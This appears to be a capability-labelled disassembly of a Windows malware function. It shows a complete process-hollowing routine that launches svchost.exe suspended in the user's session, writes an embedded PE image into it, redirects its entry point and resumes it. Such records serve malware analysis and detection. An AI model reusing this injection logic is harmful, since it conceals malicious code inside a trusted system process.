Function at 0x10001000
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Get common file path
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x724
mov eax, dword [0x10012004]
xor eax, esp
mov dword [esp + 0x720], eax
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
sub eax, 1
je 0x1000102e
sub eax, 1
jne 0x10001368
lea eax, [esp + 0x620]
push eax
push 0
push 0
push 0x25
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push str.svchost.exe
lea eax, [esp + 0x624]
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
xor ebx, ebx
mov dword [esp + 0xc], ebx
push 0x44
lea eax, [esp + 0x34]
push 0
push eax
call fcn.10002430
add esp, 0xc
mov dword [esp + 0x2c], 0
mov dword [esp + 0x28], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push str.WinSta0Default
push 0
push 0
mov dword [esp + 0x3c], 0
mov dword [esp + 0x40], 0
mov dword [esp + 0x44], 0
mov dword [esp + 0x50], 0x44
call esi
mov esi, eax
push esi
call fcn.10001395
add esp, 4
mov edi, eax
push 0
push 0
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push edi
push 0xffffffffffffffff
push str.WinSta0Default
push 0
push 0
call esi
mov dword [esp + 0x38], edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [esp + 0x28]
push ecx
push 0xf01ff
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [esp + 0x14]
push eax
push 1
push 1
push 0
push 0x2000000
push dword [esp + 0x3c]
call dword [sym.imp.ADVAPI32.dll_DuplicateTokenEx]
call dword [sym.imp.KERNEL32.dll_WTSGetActiveConsoleSessionId]
push 4
mov dword [esp + 0x620], eax
lea eax, [esp + 0x620]
push eax
push 0xc
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_SetTokenInformation]
push 0
push dword [esp + 0x18]
lea eax, [esp + 0x34]
push eax
call dword [sym.imp.USERENV.dll_CreateEnvironmentBlock]
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x34]
push eax
push 0
push dword [esp + 0x38]
lea eax, [esp + 0x630]
push 0x434
push 0
push 0
push 0
push 0
push eax
push dword [esp + 0x3c]
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
cmp eax, 1
jne 0x10001343
push 0x2c8
lea eax, [esp + 0x350]
mov dword [esp + 0x14], 0
push 0
push eax
call fcn.10002430
add esp, 0xc
mov dword [esp + 0x348], 0x10007
lea eax, [esp + 0x348]
push eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0
push 4
lea eax, [esp + 0x18]
push eax
mov eax, dword [esp + 0x3f8]
add eax, 8
push eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x100011f2
xor ecx, ecx
jmp 0x100011fd
mov ecx, dword [esp + 0x3ec]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x10001343
test ecx, ecx
je 0x10001343
mov eax, dword [0x100128ac]
push 0x40
push 0x3000
push dword [eax + 0x100128c0]
lea esi, [eax + 0x10012870]
push dword [esi + 0x34]
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ebx, eax
mov dword [esp + 0x10], ebx
test ebx, ebx
je 0x10001323
push 0
push dword [esi + 0x54]
push 0x10012870
push ebx
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001323
xor eax, eax
xor edi, edi
cmp ax, word [esi + 6]
jae 0x100012b1
xor ebx, ebx
nop dword [eax]
movzx ecx, word [esi + 0x14]
add ecx, ebx
push 0
push dword [ecx + esi + 0x28]
mov eax, dword [ecx + esi + 0x2c]
add eax, 0x10012870
push eax
mov eax, dword [ecx + esi + 0x24]
add eax, dword [esp + 0x1c]
push eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001323
movzx eax, word [esi + 6]
inc edi
add ebx, 0x28
cmp edi, eax
jl 0x10001270
mov ebx, dword [esp + 0x10]
push 0x2c8
lea eax, [esp + 0x80]
push 0
push eax
call fcn.10002430
add esp, 0xc
mov dword [esp + 0x78], 0x10007
lea eax, [esp + 0x78]
push eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10001323
push 0
push 4
lea eax, [esi + 0x34]
push eax
mov eax, dword [esp + 0x128]
add eax, 8
push eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10001323
mov eax, dword [esi + 0x28]
add eax, ebx
mov dword [esp + 0x128], eax
lea eax, [esp + 0x78]
push eax
push dword [esp + 0x20]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
jne 0x1000135e
push 0xffffffffffffffff
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
mov dword [esp + 0xc], ebx
cmp ebx, 5
jl 0x10001063
jmp 0x10001368
push dword [esp + 0x1c]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [esp + 0x72c]
mov eax, 1
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.10001384
mov esp, ebp
pop ebp
ret 0xc